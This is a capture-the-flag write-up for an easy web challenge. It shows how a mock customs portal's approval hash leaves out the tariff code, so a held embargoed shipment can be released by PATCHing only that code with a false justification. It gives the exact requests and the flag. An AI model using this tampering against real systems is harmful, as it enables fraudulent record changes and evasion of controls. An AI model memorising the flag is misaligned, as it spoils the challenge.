CSCTF 2026Web
Interdiction Hold
The portal's approval integrity check hashes a fixed set of "covered fields" that does not include hs_code, while the interdiction check reads the current hs_code.
- Competition
CSCTF 2026- Category
- WebEasy
- Source status
- Source-documented · not platform-verified
- Document
- PDF edition2 min read
Brief
The challenge
- Category
- WEB
- Difficulty
- Easy
- Points
- 120
- Target
http://w01.ctf.chronos-security.ro:<port>(per-instance)
A broker moved an embargoed dual-use shipment through the Orsvane Border Revenue Service's freight clearance portal, and the interdiction hold on it came off. One consignment in the queue is under an interdiction hold. Get it released and read the clearance token on its release certificate.
TL;DR
The portal's approval integrity check hashes a fixed set of "covered fields" that does not include hs_code, while the interdiction check reads the current hs_code. So you can PATCH only the embargoed line item's hs_code to a recognized, non-embargoed code — the manifest hash stays valid and approval is not re-opened — then POST .../release to print the clearance token.
01
Read the interface
GET /schema describes the API and, crucially, the trust model:
Approval binds
sha256of the canonical manifest overcovered_fields:ref, origin, destination, declared_value_eur, carrier, lineitems[].description, lineitems[].quantity.Release controls:
approval must be
APPROVEDand itsmanifest_hashmust equal the current covered-field manifest hash, andinterdiction: no line item may declare an embargoed
hs_code.
hs_code is checked by the interdiction control but is not part of the hashed covered fields. That gap is the whole bug.
02
Find the held consignment
GET /consignments → one record with status: HELD:
MFC-2XNVRKC (ref CN501758) HELDGET /consignments/MFC-2XNVRKC:
{"id":"MFC-2XNVRKC","declared_value_eur":697101,"carrier":"Merrow Haulage","status":"HELD", "lineitems":[{"k":0,"description":"18 x signal analysers","quantity":24,"hs_code":"8409.99"}]}GET /embargo-list:
{"embargo":["8409.99","8421.39","8479.89","8536.90","9014.80","9027.80"]}Line item k=0 declares 8409.99, which is embargoed — that is what trips the hold.
03
Pick a valid replacement code
An invented code is rejected ("not a recognised tariff classification"). Reliable recognized codes are the ones already in use on other consignments: 8471.50, 7326.90, 8481.80, 8411.82, 8526.91, 9032.89, 9032.89. None of these appear in the embargo list. I used 8471.50.
04
Amend only hs_code
Preserve description and quantity (they are hashed) and change only hs_code, with the required justification:
PATCH /consignments/MFC-2XNVRKC/lineitems/0Content-Type: application/json{"hs_code":"8471.50","justification":"Corrected tariff classification after interdiction review; supporting classification checked against the current tariff schedule."}Response confirms the manifest hash is untouched:
{"lineitem":{"k":0,"description":"18 x signal analysers","quantity":24,"hs_code":"8471.50"}, "status":"PENDING","note":"amendment logged; approval not re-opened"}05
Release
POST /consignments/MFC-2XNVRKC/release{"status":"RELEASED","certificate":{"consignment":"MFC-2XNVRKC", "clearance_token":"CSCTF{0oKccm0MXBiUrts257pCFsu2}"}}Why this works
The approval hash intentionally excludes hs_code so that "descriptive amendments do not re-open approval." But interdiction is evaluated against the live hs_code. Changing only the HS code satisfies both release controls simultaneously: the covered-field hash still matches the signed approval, and the current line item no longer declares an embargoed classification. The classic inconsistency between what is authenticated and what is enforced (TOCTOU-style / integrity-scope mismatch).
Flag
Flag
CSCTF{0oKccm0MXBiUrts257pCFsu2}
Source-documented · not platform-verified
Source note: CSCTF{0oKccm0MXBiUrts257pCFsu2} (instance-specific)
Note: the token is generated per instance. Re-run the amend+release flow against your own instance to get your token; this value is from the run documented here.